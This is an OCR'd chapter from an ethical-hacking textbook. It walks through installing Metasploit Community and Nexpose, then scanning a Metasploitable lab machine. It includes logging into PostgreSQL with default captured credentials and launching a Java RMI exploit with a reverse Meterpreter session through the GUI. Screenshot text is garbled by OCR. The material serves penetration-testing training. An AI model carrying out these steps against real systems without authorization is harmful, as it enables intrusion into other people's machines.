Running Nexpose
¢ Nexpose analysis

Installing MSFC

In this section, we will look at Metasploit Community. This is a web GUI that uses
Metasploit, but it has features other than exploiting vulnerabilities. It can be used to
discover open ports, just like Zenmap, and install services, but it doesn't stop there. It also
maps these ports and services to existing exploits in Metasploit and existing modules. From
there you can literally exploit a vulnerability straight away using Metasploit. Let's see how
we can use it, and it will become clearer what it can be used for.
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The tool is not included in Kali Linux. We need to download it from https://www.rapid7.
com/products/metasploit/metasploit—community—registration.jsp.VVeVVﬂlakK)need
to use our email address because we will need the product activation key, which they'll
send to the email that we enter when we download. Once we download this, we're going to
navigate to our Downloads using the cd command to change directory. If we do 1s to list
the current files, we will be able to see that we have the installer metasploit-latest-
linux-x64-installer.run file downloaded. The first thing we need to do is to change
the permissions to an executable so that we can execute this file. To change the permissions
in Linux, you use the chmod command, and then we will put in the permissions that we
want to set, which is executable, +x, and we are going to put the filename, which
ismetasploit-latest-linux-x64-installer.run. Now, we will launch the
command, which is as follows:

chmod +x metasploit-latest-linux-x64-installer.run

And if we do 1s we will see that there is text that will be highlighted in green, which means
that it's an executable:

d Downlo

Z~ loa
metasploit-lat = X 4-installer.run

¢ chmod +x metasploit-latest-linux-x64-installer.run
: ~/Downloads# s
metasploit-latest-linux-x64-installer.run

To run any executable in Linux all we have to do is type in . / and enter the filename.
The . /metasploit—latest-linux-x64-installer.run file will run this executable for
us. Now, we will just run through the process.
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The installation is very simple:

1. First, we click on I accept the agreement, and then we click Forward. We then
select where we want to install it:

Setup e O

License Agreement @

Please read the following License Agreement. You must accept the terms of
this agreement before continuing with the installation.
RAPID7 END USER LICENSE AGREEMENT

RAPIDT LLC OR RAPID INTERNATIONAL LIMITED (AS APPLICABLE, “RAPIDT") I
IS WILLING TO PROVIDE CERTAIN SERVICES TO YOU AS THE INDIVIDUAL,

THE COMPANY, OR THE LEGAL ENTITY (REFERENCED BELOW AS “YOU" OR
“YOUR" OR “CUSTOMER") THAT ENTERS INTO A WRITTEN QUOTATION,

WORK ORDER, STATEMENT OF WORK OR SIMILAR DOCUMENT WITH RAPID7
THAT REFERENCES THESE TERMS AMD CONDITIONS (HERINAFTER, THIS

“AGREEMENT™Y QMY 0N THE 0 PT All OF THE Y
@ |l accept the agreemena

Do you accept this license?
() | do not accept the agreement

InstallBuilder

| Back__H Forward ||_ Cancel |

It will say that the folder is not empty if we already have Metasploit there.
If we want to reinstall it we are just going to call it metasploit2.
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2. It will ask us whether we want to start Metasploit as a service every time the
machine starts. We can pick Yes or No. I prefer to pick No, but you can set it
to Yes. Then the Metasploit UI will start automatically every time your computer
starts. Click on Forward:

Setup [ <]

Install as a service @

You can optionally register Metasploit as a service. This way it will
automatically be started every time the machine is started.

Install Metasploit as a service?

) Yas

oo

InstallBuilder

| Back || Forward || Cancel |

3. Then it's going to ask us for the SSL Port that will be used. Because the service
runs as a web GUI, we can set that to anything we want, but we are going to
leave it as 3790:

Setup @ O

Metasploit Service @

Please enter the port that the Metasploit service will use.

SSLPort [EEER

InstallBuilder

| Back || Forward || Cancel
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4. And then it's asking us for the Server Name, and we are going to keep it
as localhost because it's being installed on our localhost:

Setup

Generate an SSL Certificate

Please provide the fully qualified domain name of this system below (e.qg.
metasploit.cxample.com). A certificate is gencrated for a specific server
name and web browsers will alert users if the name does not match.

e o

W

Server Name [

Days of validity | 3650

trusted store?

& - g5, trust certificate

| Back

Should the generated certificate be added to the operating system's

| Forward | Cancel |

5. Database Server port; again keep this the same, don't change it. Then there is the
thin cluster port; again, keep this the same, 7337. These are all configurations for
the program to run. We don't really need to mess with them. Only change them if
you already installed the program and it won't let you have the same port, but

usually it should keep them the same:

Setup

Database Server Parameters

Please enter the port of your database.

Database Server port 7337 I

Back

Forward Cancel

Setting the database server port
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6. Now, it's saying it's ready to install. Once you press Forward it will install it for
you and it will ask you for a username and a password for the web interface. Set
that as well, pick a username and a password, and the process will finish up
smoothly.

Now, once we finish the installer we want to run the metasploit service. Because it's
going to be installed as a service, as a web server, when we want to use Metasploit
Community we will have to run it using the service command, the same way we run any
service in Linux. We enter service metasploit start to start that service. Once the
service has started, all we have to do is go to a browser and navigate to https. Make sure
to put https not http://localhost/, and then we enter the port that Metasploit runs on,
which is 3790. Press Enter. Now it's asking us to log in. We log in using the username and
password that we picked while we installed the program, and then we will be able to use it.
We'll be talking about logging in and using the tool in the next section.

MSFC scan

Now, we are going to log in using the username and password that we set when we
installed the tool. As we can see in the following screenshot, we have a web interface for
using the tool:
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Projeet v Account - zaid ¥ Administration v 7

‘;] metasploit

Project Listing
RAME HOSTS SESTIONS AsKs OWNLR UPDATED DESCRIP TRON - Veekly ) .
0 -

Matasploit Community 4.11.7 - Update 2016052401

Web Interface of Metasploit community

Now, we can access the account and go to our user settings or log out. We can also check
for software updates.

The first time we log in, it will ask us to enter the activation key. The activation key will be
sent as an email to the email address that we put when we downloaded the tool. Make sure
you put a valid email address when you download the tool.

We're going to start a scan, and we are going to click on Project | New Project. We are
going to call this project metasploitable, we are going to leave the Description empty,
and then it's asking us for a Network range. We can set that the same way we did with
Zenmap. We can set it to a range. It actually has a range that is within our subnet at the
moment. It's 10.0.2.1 up to 254. We can scan the whole network for vulnerabilities and
exploits but for now, we're not going to do that; we're only going to target 10.0.2.4,
which is the Metasploitable machine.

[214]



Scanning Vulnerabilities Using Tools Chapter 11

Now, we are going to click on Create Project. The following screenshot shows all the
parameters we discussed:

P tew Proct

Project Setlings

j Creste Project

Metasploit Community 4.11.7 - Update

Adding network range

Now, the project has been created and we're going to start a scan on it. We are going to go
on the Scan button on the left side of the screen and click that. We can just launch the scan
like this, or we can go on Show Advanced Options to set some advanced options. If we
have a range, we can use the exclude address to exclude some IPs. For example, if we were
targeting the whole network from 1 to 254, we can exclude our computer by just

typing 10.0.2. 15, which is our IP, to exclude it from the search. You can also put a custom
Nmap argument because Metasploit will actually use Nmap to get the services and the
installed applications. We can add additional TCP ports or take away TCP ports. Again, we
can do the same. We can even set the speed. We also have the UDP service discovery. It
actually discovers the service that's installed on the port. We can also set credentials. If the
target computer uses some sort of authentication then we can set it up, but our target
doesn't use any of that, so we're fine. We can also set a tag for the target computer, or for
the target scan. Now, we are not going to mess with these settings. Keep everything the
same to keep it simple, and we are going to launch the scan. Give it some time to do the
scan, and once this is over we'll see how we can analyze and discover, and see what we can
do with the discovered information.
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MSFC analysis

The scan process is over. It will nearly take two minutes, and it will discover one new host,
because we only had one host, with 33 new services installed on it. Now, we're going to go
back and click on my Metasploitable machine to see what we have discovered. We can see
in the following screenshot it has found 33 services and also it managed to detect one

vulnerability:
- Project - metas ploitable * Account-zaid v Adminktration v 7
:‘;] metasploit
Overview  Aralysis  Sessions  Campalgrs  WebApps  Modules  Credertiss  Feports  Exports  Tasks
Overview - Project metasploitable
Discovery Penetration
¥ Scaa Imgor @ espose scan Sasar imper
b Bresefosce. O Eapion
Evidence Collection Cleanup
P Clensey

i Collect

Recent Events

TME EVENT DETALS

Results of Metasploitable scan
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Go to Analysis | Hosts, and we will that see that we have our host here, and it has been
scanned correctly. It's a VMware, it's a server, and it's running on Linux 8.04:

Account - zakd ¥ Adminkstration ¥ P

Project - metasploltable ¥

‘;] metasploit
Overview Sessiom Campaigns Web Apps Modube s Credentiak Reports Exports Task
; ] “ O Hos ]
¥ v} =
ADDRESS - MNAME OPERATING SYSTIM AL PURPOSL WVLNS ATT oS UPDATED STns
5 = [ sceenes

»

ramunity 4.11.7 - Up

Host Scan
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If we click on the IP, we will see in the following screenshot. The first thing that we see is
the installed services:

- Project - metas ploitable v Account-zsid ¥ Adminkstration v 7
]]metas_olour
Ow - Session Campaigrm ‘Web Apps Modubes Cradentinik Reparts Exports Task:
9 . Brateforce ) Explon
10.0.2.4 @ o
rvices
HNew Serv
NAME AT PROTOD TATE SERVICE INFORMATION CREATED -
10 - 1 |31

Installed services

We can see the NAME of the service, for example, dns, running on port 53; the PROTO,

which means the protocol is udp; it's an open port; and also we have the SERVICE
INFORMATION.
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You can switch through pages using the arrow buttons at the bottom-right of the page. It
will show same results as Nmap, just with a better GUIL The Sessions tab is where we see
the connections. If we exploited anything, we will see them in the sessions. The GUI looks
like this:

: Project - metas ploitable v Account-zsid ¥ Administration v 7
[y metasploit
Overview Sessions Campaigns Web Apps Modubes Credentink RAeparts Exports Tasks
P 1202 4 meisisionasie 2
9 |
10.0.2.4 @5

Active Sessions

SESSION HISTORY TvRE OPEMED AT ¥ ATTACK MODULE

10 -

Completed Sessions

SESSION HISTORY Vet OPENED AT w  ATEACK MOOULE

10

Exploited sessions

The Vulnerabilities tab will show you the vulnerabilities that have been discovered. With
Nmap, we only got the services. In Metasploitable, it actually maps if it finds a
vulnerability, and if Metasploit has an exploitation for that vulnerability it will actually
show it to us. We can click on it and get more information about the vulnerability.

The Credentials tab will show you if there are any interesting credentials that the program
managed to find. We can see in the following screenshot that it's managed to find the
username and the password for PostgreSQL, which is postgres. It's a weak password, and
that is the password for the admin. If we click on the key icon under

the VALIDATE column it will validate it for us, turning the status to Validated in

the VALIDATION column:
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Metasploh Community 4.11.7 - Update 2016052401

Chapter 11
_ Projct  metasplofiable ¥ Aceount-zaid v Administration v 7
T‘]metasplour
Overview  Amalysi Sessiors  Campaigns  WebApps  Modules  Credentisls  Reports  Exports  Task
¥ @ e L)
10.0.2.4 =0
wdentia
Logins
| _cnea
PUBLIC v  PRNATE REALM SERVICE POR ACCESS LEW e LAST ATTEMPTED VALIDATION VALIDATE
Jraiiced >
20 -
Captured Credentials
LOGS PUBLIC &  PRNATE TV REALM oRIGH ALIDATION ™es DELETE

Credentials

Now, we can use the preceding information. We can go ahead and connect to the SQL
database here using this information, using the username postgres and the

password postgres. Let's look at a quick example of this. We are going to our Terminal in
Kali and we're going to use the command that you used to connect to SQL, to PostgreSQL.
It's psgl. Put the IP that we want to connect to after the —h option. The command is as

follows:

psgql -h 10.0.2.4 postgres
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Then, we enter the username. Now, it will ask for the password, and we're going to enter
the password that we captured, which is postgres. We will be logged in to the database. We
can run any SQL command now on the target computer. SQL is the language that is used to
communicate with databases. We not going to go into too much detail here, just that we
managed to capture a username and a password for a database, and the database we can
communicate with using the SQL language. We can run the select

current_database () ; command just as an example. We can see that it selected

our current_database, which is also called postgres. Just a quick example to show that
the captured data is correct; in Metasploit, in the Captured Data tab, there is no captured
data from the file or from the target computer. But on Notes, we will see some interesting
notes, some of them about the HTTP requests for some of the methods that we use. We can
go through the notes, which can be useful for the information gathering process.

The File Shares tab will show us any files being shared from the target computer.

The Attempts tab will show you the attempts that we did on the target computer, and

the Modules tab will show us the modules that can be used to exploit any found
vulnerabilities. We have a vulnerability called the Java RMI Server, and we have a module
to discover the Java RMI Server vulnerability. We're going to launch Exploit: Java RMI
Server Insecure Default Configuration Java Code Execution, and we will do this launch
straight from the tool. We're just going to click on Launch. It will allow us to run the exploit
from within Metasploit Community. exploit/multi/misc/java_rmi_server is the
module name; do use exploit/multi/misc/java_rmi_server, set the PAYLOAD, set
the LHOST, set the RHOST, and then exploit, the same way that we did it before
inmsfconsole. Alternatively, we can let Metasploit Community do all the work for us.
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We can see that it already picked the target address correctly, and we are going to set the
connection to Reverse, and we are going to keep the Payload Type as Meterpreter. Now,
we can choose the command shell as we can see in the following screenshot, which is what
we used before, and Meterpreter is just a different type of payload that we'll talk about
later. Now, we are just going to run the module by clicking on Run Module:

]
-
2

BN 2

get Setings

Generic (Java Payload)

Meterpreter v 1024-65535

Reverse ¥

Selection of command shell
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As we can see in the following screenshot, the module did run and the output is very
similar to what you get from the Metasploit console, and it says that session 1 is open. It has
already created a session for us. Now, we can communicate with it:

s Preject - metasploitable v Account - zaid ¥ Adminitration v P
v metasploit
Overview Aralysin e o Campaig e Web Apps Modubes Credentiak Reparts Exports

SRR

Output of the Command shell

We can see the Session tab as seen in the preceding screenshot. It has the number 1. If we
click on that we will see that, we have a session open and it's on the Metasploitable
machine, or on the Metasploitable project, and it used the Java RMI Server. If we click on
that session we will see all the things that we can do on that computer. Now, we can use
Collect System Data to get some sensitive data, but we won't be able to use that because it's
all for the Pro version, and we have the Community version. We can use Access
Filesystem, and we can literally have a web-based file browser. We can browse through the
files of the target computer. Or we can just get a Command Prompt for the Meterpreter, like
what we used to get before. If we go to Command shell by going to the previous page, we
will see that we have a Meterpreter command shell that allows us to use the Meterpreter
payload.
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Now, we are going to study the Meterpreter payload and how to use it in the post-
exploitation, but we are just going to see that we have full access to the target computer
from here and that we are able to do whatever we want to do on it. Metasploit did
everything through the browser. We didn't have to go and run Metasploit and manually
configure the payload and the exploit. Now, there is one last thing that we will see, which is
the Modules tab. Some of these modules don't have to give us full access. Some of them can
only be used to do a denial of service, and some of them are code execution vulnerabilities,
but they might not work. We can try them and see if they work. We can click on them and
run them from within the computer.

In the gathering module, it doesn't exploit anything. It just allows us to upload files, and
some of them give us a Meterpreter session. Just click on it, and we can run it from within
the web interface. The tool also offers other features, such as the Web Apps feature, which
scans for web apps. We can just go to report options, where we can create a report of the
findings of everything that has been found, but the problem is these features are limited to
the Pro edition. We can't really use them unless we pay for the program.

Installing Nexpose

In this section, we will discuss a tool called Nexpose. Nexpose is made by Rapid7. It's made
by the same people that made Metasploit and Metasploit Community, and it's similar to
Metasploit Community in the sense that it has a web GUI and it allows us to discover,
assess, and act on discovered vulnerabilities. It also maps these vulnerabilities to existing
exploits, but the difference is Metasploit Community only showed us exploits that can be
used within Metasploit, whereas Nexpose actually shows us exploits that have been
published somewhere other than Rapid7 and Metasploit. It works on a larger scale, it
shows us more vulnerabilities, and it also helps us to create a report at the end of the scan
so that we can share it with the technical people, and a high-level small report that can be
shared with the managers. It also helps us create schedule scans. Suppose, for example, we
have a company, or we are working on a big infrastructure and we want to do regular scans
every week or every month; we can do that using this tool.
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Let's see how to install it and run it, and the differences will become more clear:

1. Nexpose doesn't come pre-installed in Kali Linux; we have to install it manually.
To download it you need to download it from https://www.rapid7.com/
products/nexpose/download/. It'll ask you to fill in your name and address. Fill
it in and download it. We will download the Community version, which is free.
The first thing we are going to do before we can install it is stop the PostgreSQL
service that comes it installed with, or that is running in Kali Linux. Just launch
the service postgresql stop command, which will stop the SQL service.

2. Usually, when we run the Terminal we won't be in the Downloads directory. We
will need to change our directory to the Downloads directory using
the cd command. Once we're in the Downloads directory we can list all the
available files, and we will find the Nexpose Rapid7Setup-

Linux64.bin setup file. We need to change the permissions of this to an
executable. If you have already changed the permissions, that's when it will
appear in green if we do the 1s command. Let's first use the chmod command to
change the permissions so that we can execute that file. The command will

be chmod +x filename; filename is the file that we want to change the
permission of; for us it's Rapid7Setup-Linux64.bin. Here is the command:

chmod +x Rapid7Setup-Linux64.bin

3. Now to run this installer. To run an executable in Linux systems, all we have to
dois type ./ then enter the file that you want to run. For us, it's Rapid7Setup-
Linux64.bin. The command will be as follows:

./Rapid7Setup-Linux64.bin
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An installer will pop up, as seen in the following screenshot:

Installer - Rapid7 Vulnerability Management 6.5.24

RAPID Welcome to the Rapid7 Installation Wizard

Rapid? Yulnerability Management reduces your organization's risk by
dynamically collecting data and analyzing risk across vulnerahilities,

= Welcome configurations and controls from the endpoint to the cloud. Our vulnerahility
management platform is engineered to enable IT security teams to identify,
assess and respond to critical change as it happens.

Type and destination

Rapid? Inc
http:ffwww.rapid?.com
info@rapid?.com
+1.866.TRAPIDT (Toll Free)
+1.617.247.1717

Requirements

Confirm s
Installation
Console details

Installation success

Cancel

4. Now, all we have to do is click Next, and then it will ask us to accept the
agreement. We are going to install the console with the scan engine. We might
come across a problem. Nexpose is only compatible with Kali 2. If we want to go
ahead with this, we're going to modify two files on our local system to make our
system look like Kali 2 so that the installer will let us install it on our system. But
if you don't face this issue, then you can just click Next at this point, but we will
just go through the steps and modify two files to make my system look like Kali
2.
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5. Follow these steps only if you get an error saying your system is not compatible:

e Click on Finish. The file that contains the instructions that we need
to change the version of our system to Kali 2 is in this book's
GitHub repository (https://github.com/PacktPublishing/
Fundamentals—of-Ethical-Hacking-from-Scratch). The two files
that need to be changed are 1sb-release and os-release. We
are going to open two tabs, one for each file, and the first one is in
the /etc directory, and it's called 1sb-release. Before we modify
the file, we are actually going to copy it and store a backup of it,
because after we finish this step we are going to restore it to the
way it was.

e We are going to create a new folder, and we are going to call
it backup, and we will paste the file in the backup folder. After we
do that we are going to modify the file according to the
instructions. We are going to open it with Leafpad, and we are
going to copy all of the content, save it, and quit. We are going to
do the same with the next file, which is os-release, which is
stored in /usr/1lib/os-release. We are going to copy the file
and put it in our backup folder. Then we are going to modify the
code as per the instructions.

¢ OK, once everything is done, we are going to go back and run the
installer again, and it should think that we have Kali 2 installed
and proceed through the installation.

6. Scroll down, click Accept, the Next, and we will see that the software thinks that
we have Kali 2, so it will let us proceed through the installation.
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7. Now, the port is already set to 5432 and we are going to click on Next:

Installer - Rapid7 Vulnerability Management 6.5.24 @ O

The installer is comparing your system settings to required settings

Installation requirements
I, 7,984 MB RAM was detected. 8,192 MB RAM is recommended.

See the list of supported versions.
Recommended and supported configurations can be found here.

<" SELinux is not active.

< Software is not running.
<" Access to external networks was detected.
<« Port 3780 is available.

Database port
Enter the number for the port that the database will listen on:

T

The port number is valid.

Cancel Previous MNext
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7. Now, we are going to put First Name, Last Name, and the Company. It will ask
us to put the port for the database that's going to be used with Nexpose:

Installer - Rapid7 Vulnerability Management 6.5.24 e 0

Create your account information

User details: This information will be used for generating SSL certificates, and it
will be included in requests to Technical Support.

First name: Last name:

Company:
Requirements | |

» Account details
Letters, numbers, spaces, and the characters - + & & . _ ' only. All fields are required.

Credentials: Choose secure credentials and remember them. You will need them
to perform configuration steps after completing the installation.

User name: root | o
Installation success
et S Password: Confirm the password:
[P—— | Y | [HthHCHcl ] o
Strength: EE——— . 5ood

Reguire password reset upon login? [

The passwords match.

Cancel Previous Mext
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8. Make sure we don't check the box that is shown in the following screenshot. We
will have a lot of issues if we check this box during installation; it basically
should start Nexpose once the installation is over, but we are not going to check
it. We will just go to install it and then start it later when we want to use it. We
are not going to check this box, make sure it's unchecked. And that's it, now it's
going to install it for us:

<

RAPID Confirm or change your installation selections

Installer - Rapid7 Vulnerability Management 6.5.24

You have selected the following installation location:
foptfrapid7/nexpose
Welcome You have selected the following component(s) to install:

License agreement Security Console, Scan Engine
Type and destination You have entered the following contact information:

Requirements

You have created the following user name:
root

Select any additional installation tasks.

= Confirm selections —
|| Initizlize and start after installation

Installation progress

Console details

Installation success
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9. OK, once the the installation is successful, as we haven't started Nexpose yet, if
we go to https://localhost:3780 then nothing's going to work. We need to
run the command first and then we can can access it. We are going to talk about
that in the next section. For now, we are going to click on Finish, and we're done:

Installer - Rapid7 Vulnerability Management 6.5.24

Installation is complete!

Installation is completa!

1. If you chose to start the Security Console as part of the installation,
then if will be started upon installer completion.

Type and destination 2. You can log onto the Security Conscle at https:fflecalhost3780. Use the

- : i credentials you created during installation.
lequirements

3. Wait 10 to 30 minutes for the Security Console to initialize during first
time startup depending on your system capabilities.

Tao start the service run: sudo systemct| start nexposeconsole service

The Security Console is configured to automatically run at startup. See the
installation guide if you wish te modify start modes.

* Installation success

Now, we're going to go back and make sure we set our files back to the way they were.
Now, for those of you who haven't modified them, again skip this step; if you did modify
them, then make sure to go back and set them back to the way they were.
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Running Nexpose

OK, now that we have installed Nexpose successfully, let's see how we can run it and see
what it is. We've spoken about it a lot and we went through the installation process, but we
still haven't seen what the tool does. The first thing to do before we can run the tool is to
make sure that the database that comes with Kali Linux is turned off, because Nexpose uses
its own database. If we have both of them running on the same port, they'll conflict with
each other. The first thing we're going to do is stop the postgresql service; make sure that
we have it in our mind that every time, before we run Nexpose, we turn off our database.
We do it using the same command that we used in Chapter 10, Gaining Access to Computer
Devices. It's service postgresgl stop, and it will make sure that the service is stopped.

Now, we're going to navigate to the location where we installed Nexpose. Unless we
changed the location during the installation process, it should be installed in

the /opt/rapid7/nexpose/ directory. The file that runs the server is stored in the
directory called nsc, and the file that we want to run is called nsc. sh. We run it just the
same way we ran the installer before. As we said before, to run an executable, always use
./ and then write the name of the executable. It's nsc. sh:

ent

Running this for the first time might take some time. Just let it do its thing until it runs, and
once it finishes loading the framework we'll see how we can access it and use it.
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The tool has loaded successfully, and as you can seg, it's telling us that we can navigate to it
using the https://localhost:3780 URL:

SEhttps://localhost: 3780/

What we're going to do now is launch our browser and copy the URL that it just gave us.
Now it's asking us to log in. Log in using the username and password that you created
when you installed the tool:

(6] 5:/Mocalhost: 3748 c Search Tt B + A O

fE Most Visited~  [flOffensive Security S Kali Linux s Kali Docs S Kali Tools = Exploit-D8 W Aircrack-ng S Kali Forums s, NetHunter S Kali Training @ Getting Started

RAPIDX)

Log on

Username

Password

RAFIDF
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After logging in successfully, we can see in the following screenshot that the first thing it
asks us to do is to enter the product key:

Activate a new license

=

You need an active license for scanning and reporting. To activate
automatically ower the Internet, use a product key. If vou do not have a key

request one.

Enter a product key:

Use a license file g
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Now, we know this is a free version, and when we downloaded the tool we had to fill out a
form. In that form we put our email address, and then they send the product key to our
email. Go to your email and get the product key and paste it. After pasting it, click

on ACTIVATE WITH KEY. As we can see, the activation is successful. It's going to refresh
now. As we can see in the following screenshot, it is just showing us information about the
license. Everything is activated and we're good to go:

RISK AND ASSETS OVER TIME

Assets Risk Score Higheat-risk Séie Higheat-riak Assct Group Higheat-risk Asset Highest-risk Tog

N/A N/A N/A N/A

SITES

There are no reconds found

CURRENT SCANS FOR ALL SITES

We are going to go to Home from the left menu. We can see in the preceding screenshot
that everything is empty. It is the home page of the tool. Before we start talking about what
everything means, let's go ahead and add a target, and then we'll do a test and we'll see
because this stuff will be filled after we do a test. The first thing we are going to do is click
on Create and click on Site to add a target:
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Create A\

Asset Group
Dynamic Asset Group
Report

Site

GENERAL General

Name v

Impertance Normal

Deseription
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We are going to go to the ASSETS tab and we're going to add the target. The target can be
arranged the same way we added it when we were doing the network penetration things
with Zenmap. We can add a range, or we can add a specific IP. In our example, we are
actually targeting the Metasploitable machine. We're going to add our target, which

is 10.0.2.4, and we're going to add this to a group, and we'll call that test, our group
name:

B B % 7

AUTHENTICATION TEMPLATES CHGINCS SCHEDULE

1 Assets Browse.. No file aclected. 0 Assets Browse.. No file aclected.

10024 x

0 Asset Groups o Asset Groups

Now, in the AUTHENTICATION tab, if the target uses some sort of authentication,
nobody can access the target unless they need to authenticate with some sort of a service,
such as an FTP service, a web HTTP authentication, a Telnet, or an SQL server. We can pick
it from the AUTHENTICATION tab, enter the domain, username, and password, confirm
your password, and that way the framework will be able to authenticate with that service
and test the security of your server. Now, our server doesn't use any type of authentication.
We don't need it. Also, if we are targeting a web application that has a login page, for
example for users of Facebook, then we won't have access to most of Facebook's features
unless we log in using a certain username and a password. Using this feature here, we can
log in and then test the security of our target.
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The TEMPLATES tab is where we select the scan type. It's very similar to the scan type
with Zenmap. We've seen in Zenmap we had a quick scan, quick scan plus, and intense
scan. It is the same. Each one of these profiles is different. It scans different things. For
example, we have the Full audit, which takes a lot of time but pretty much checks for
everything. Then we have Full audit enhanced logging without Web Spider:

= B

AUTHENTI M TEMPLATES

SELECT SCAN TEMPLATE Selected Scan Template: Full audit without Web Spider

=] q
BB Filter

Assct Discovery Service Discovery Checka

ICMP, TCR, UDP Default TCR, Delaull Custom

L]

1CME, TCF UDF Custom 1CF Custo.

&

ICME TCR LIDP Custom TCP Custa Disabled

Exhaustive ICMP, TCR, UDP Full TCF, Default UDP  Safe Only

@ s e

Full audit ICMP TCR: UDP Detault TCN Defoult

Full audit enbanced logging withoutl Web Spide ICMP, TCR, UDP Default TCP, Delaull

& @

o) Full audit withou b ICME TCE UbP Default 1CH Default
HIPAA compliance ICME TCE LIDP Default TEP Default

Internet DMZ auait Dizabled Default TCP

& & &

Linu: APMa ICMP TCP UDP Custom TCP
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A Web Spider is a tool or a script that finds all the files and directories in our targets. The
default one is the Full audit without Web Spider. We also have network-specific profiles,
and we have web audits as well. I really encourage you to try most of them, and get
familiar with them.

We're only going to try Full audit enhanced logging without Web Spider because using
them is the same. We will be scanning for ICMP, TCP, and UDP ports. We are leaving it the
same. We are going to leave the ENGINE tab the same as well, which means it's going to
use the local engine that we installed instead of using the one that is provided by Rapid7. In
the ALERTS tab, we can set up custom alerts so that when a vulnerability is found, we get a
notification. The SCHEDULE is a really cool feature. Now, say we are working for a
company or for an enterprise that keeps pushing code, new code every day, or maybe we
do a test today and everything we are working on is good; our web servers, our programs,
your applications, everything is up to date and there's no vulnerabilities in them. Let's say
tomorrow we pushed a new vulnerable code, or maybe tomorrow someone discovers a
new vulnerability with a program that we are using on our web server. We are not secure
any more. This feature allows us to schedule this test so that it runs every week, or every
hour, or every month, depending on how critical it is. Go into Create Schedule and create
the schedule. We can set a Start Date, and we can set the Frequency to Every Day, every
Thursday, every 26th, depending on what we want:
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5| b

TEMPI ATESR FNGINFS

)|

SCHFEDULF

Set Scan Time @

CREATE SCHEDULE

Enabled W

MANAGE DLACKOUTS

Name
CHEAT E BLACKOUT

Stant Date
start Time | | L BRRFYY (GMT -04.00) Eastern Time (US & Canada
Scan Template

Sean Engine

Specifty Subset of Leave unchecked to scan assers accoraing to the default site configuration. &)
Asscts

Frequency

Duration Weeks Days Hours Minutes

Reaches Duration

We create that schedule, and then the scan will run every interval that we specify, and we
can even get it to produce a report for us. When we can go over the report and see what's
changed, or what has been discovered.

The most important part is that we put our target in the ASSETS tab. Then we select a
template from the TEMPLATES tab. We have both of these tabs configured, we're going to
click on Save and Scan, which will save this configuration and start a scan for us. As we
can see, our asset discovery is in progress, and after that we will talk about the results that
we got:

SCAN PROGRESS @

Scan Type Started Asscta Vulnerabilitica Total Elapsed Scan Asacts Sconned Ecan Engine
Time
Manual 71272018 1:14 AM o 0 34 seconde Local sca

Asset discovery Is in progress...
Active: 1], Pending’ I, Complete: [
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Nexpose analysis

Our scan is over and we are on the Assets page, and as we can see in the following
screenshot we have one asset scanned. We can see that the asset is running Ubuntu, and the
skill that we need to hack into this asset is Novice:

1 Assets | 1& D 0
License Usage. 1/ 512 (0.20%) Stes Asset Groups Tagged Assels
I
ASEET CHARTS
= Assessment Status = Assets by Operating System = Exploitable Assets by Skill Level

M Ubuntu (1

SCANNED

Address Name Site Operating System & o Vulnerabilitics Risk v Assessed Last Scan Delete

306 156313 Yes Tha Jul 12 m

mnz4 MFTASPIOITARLF metaspinitanle Uuntu Linux & 04 o 175
08

From the preceding screenshot, we can see that Nexpose shows us much more information
than Metasploit Community, and it's a much more advanced vulnerability management

framework.

We can see that we scanned one target, METASPLOITABLE, and the site is global. It's
running on Ubuntu Linux 8.04, and we discovered no malware,

175 exploits, and 306 Vulnerabilities. Remember that with Metasploit Community we only
discovered 1 exploitable vulnerability and 8 modules that can be used. Here, we discovered
306 vulnerabilities. We discovered many more vulnerabilities and exploits.
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We can see that there is a risk factor, and the last time that the scan was done. If we scroll
down, we can see the OPERATING SYSTEMS that we discovered. Again, it's Ubuntu
Linux 8.04. We can see the SOFTWARE that is installed on the target computer, not only
the services that's running on ports. We can see actual software installed on the target
computer:

OPERATING SYSTEMS

Operating System Proguct Vendor Architecture Instances v
Ubuntu b 1
ol 1 Row A 10 1
SOFTWARE
Program v Class CPC Instances

cpe/agnuczlib:1.0 1

cpefagnugibl.0 1

This can be very useful after we hack the computer. After we've managed to hack into it, it's
very useful to find local exploits that can be used to increase our privileges. For example, if
we manage to, if we got a normal user and you wanted to become a root, then we can use a
local buffer overflow to increase our privileges or to do other kinds of stuff. These are very
useful in terms of post-exploitation.
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If we go down, we'll see the SERVICES that are installed on the target computer. Just like
Nmap gave it to us, we can see that HTTP is running, DNS, and so on:

SERVICES

Service Name Instances w

UNC 1

Showing 1to 100f 21 Rows |

If we click on any of these services we will see more information about them. For example,
with an HTTP service, we have a description about it, and the ports that it's running on. We
can see that HTTP is running on port 80 and on port 8180:

HyperText Transfer Protocol | View all services

DESCRIPTION

HTTR, the HyperText Transfer Protocol, is used to exchange multimedia content on the World Wide Web. The multimedia files commonly used with HTTP include text, sound
images and video

ASSETS
Address « Name Site Product Port
24 HTTPD 2.2.0 0100
HTTPD 2.28 80
Sh i Dport to C5V Rows 1 1
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Now, let's scroll up, and if we want to have a closer look at the vulnerabilities we can go to
the Vulnerabilities page:

VULNERABILITY CHARTS

I}

— Vulnerabilities by CVSS Score Exploitable Vulnerabilities by Skill Level

No known exploir (224)

As you can can see in the preceding screenshot, we have a graph about the vulnerabilities
categorized based on their risk factor on the left, and on the right they're categorized based
on the skill level needed in order to exploit them. As we scroll down, we can see a list of all
of vulnerabilities, and we can switch between them using the arrows:

VULNERABILITIES @
> Apply Filters (0 applied)
Title ﬂk 5 CVSS Risk v Published On Madified On Severity Instances Exceptions
VNC password is “password” 0 993 FriJan01 1999 Tue Dec 03 2013 Critical 1 0 Exclude
Shell Backdoor Service 10 919 Thu Jan 01 1970 Sat Jun 24 2017 Critical 1 @ Exclude
MySAL default acoount rooting password i 75 901 TueDecd12002  Thulug222013  Critical 1 @ exclude
Default Tameat User and Passwaord w 1 B99  Man Nov 09 2009 FriJun 03 2006 Critical 1 e Exclude
USM-815-1: libemI2 vulnerabilities ] 10 BB7 FriSep 12 2008 Tue Jul 04 2017 Critical 1 @ Fxelude
USM-644-1: ibxemi2 vulnerabilities ] 10 887 FriSep 12 2008 Tue Jul 04 2017 Critical 1 @ Exclude
MyS0L Obsolete Version 10 885 Wed Jul252007  Thu Jul 102014 Critical 1 @ exclude
15C BIND: Butfer overflow in Inet_network() (CVE-2008-0122) 10 882 TueJan152008  TueNov152016  Critical 2 @ exclude
0:3-1: dhep vulnerability : | m BA1  TueJul 14 2009 Tue Jul 04 2017 Critical 1 @ Exclude
UEN-813-1: GnuTLS vulnerabilities 10 879 Wed May 21 2008 Tue Jul 04 2017 Critical 1 o Exelude
